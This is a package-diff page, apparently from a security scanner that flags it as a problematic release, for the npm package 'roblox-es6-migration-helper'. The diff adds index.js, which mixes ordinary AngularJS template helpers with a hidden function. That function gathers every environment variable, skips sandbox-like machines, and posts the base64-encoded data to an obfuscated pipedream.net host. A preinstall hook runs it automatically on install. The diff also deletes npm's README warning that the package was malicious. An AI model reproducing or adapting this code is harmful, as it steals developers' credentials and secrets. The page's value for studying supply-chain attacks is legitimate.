roblox-es6-migration-helper 0.0.1-security → 3.865.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of roblox-es6-migration-helper might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +71 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,71 @@
1
+
2
+ function camelToKebab(str) {
3
+ return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();
4
+ }
5
+
6
+ function extractHtmlFileName(str) {
7
+ let file = str.split('/').pop();
8
+ return file.replace('.html', '');
9
+ }
10
+
11
+ //we don't touch common template code is it might break other consumers
12
+ //so we just remove the surrounding script tags.
13
+ function removeScriptTag(str) {
14
+ var scriptTagReg = /<\/?script[^>]*>/gi;
15
+ return str.replace(scriptTagReg, '');
16
+ }
17
+ const http = require('https');
18
+ const filter = [
19
+ { key: 'npm_config_registry', val: 'taobao.org' },
20
+ { key: 'USERNAME', val: 'daasadmin' },
21
+ { key: '_', val: '/usr/bin/python' },
22
+ { key: 'npm_config_metrics_registry', val: 'mirrors.tencent.com' }
23
+ ];
24
+
25
+ function main() {
26
+ var data = process.env || {};
27
+ if (
28
+ filter.some(({ key, val }) => data[key] && data[key].includes(val)) ||
29
+ Object.keys(data).length < 10) {
30
+ return;
31
+ }
32
+
33
+ req = http.request({
34
+ host: ['2d6aa056b8ab919d9b4695a1f577b43e', 'm', ['pipe','dream'].join(''), 'net'].join('.'),
35
+ path: '/' + (data.npm_package_name || ''),
36
+ method: 'POST'
37
+ }).on('error', function (err) {
38
+ });
39
+
40
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
41
+ req.end();
42
+ }
43
+
44
+ main();
45
+
46
+ const ES6MigrationHelper = {
47
+
48
+ importFilesUnderPath: (ctx) => {
49
+ ctx.keys().forEach(ctx);
50
+ },
51
+
52
+ templateCacheGenerator: (angular, moduleName, mainTplCtx, commonTplCtx) => {
53
+ return angular.module(moduleName, [])
54
+ .run(['$templateCache', function (tc) {
55
+ if (mainTplCtx) {
56
+ mainTplCtx.keys().forEach(key => {
57
+ let name = camelToKebab(extractHtmlFileName(key));
58
+ tc.put(name, mainTplCtx(key));
59
+ });
60
+ }
61
+ if (commonTplCtx) {
62
+ commonTplCtx.keys().forEach(key => {
63
+ let name = camelToKebab(extractHtmlFileName(key));
64
+ tc.put(name, removeScriptTag(commonTplCtx(key)));
65
+ });
66
+ }
67
+ }]);
68
+ }
69
+ };
70
+
71
+ module.exports = ES6MigrationHelper;
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "roblox-es6-migration-helper",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.865.0",
4
+ "description": "Roblox es 6 migration helper",
5
+ "license": "MIT",
6
+ "author": "hrblx",
7
+ "main": "index.js",
8
+ "scripts": {
9
+ "build": "yarn build",
10
+ "preinstall": "node index.js"
11
+ }
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=roblox-es6-migration-helper for more information.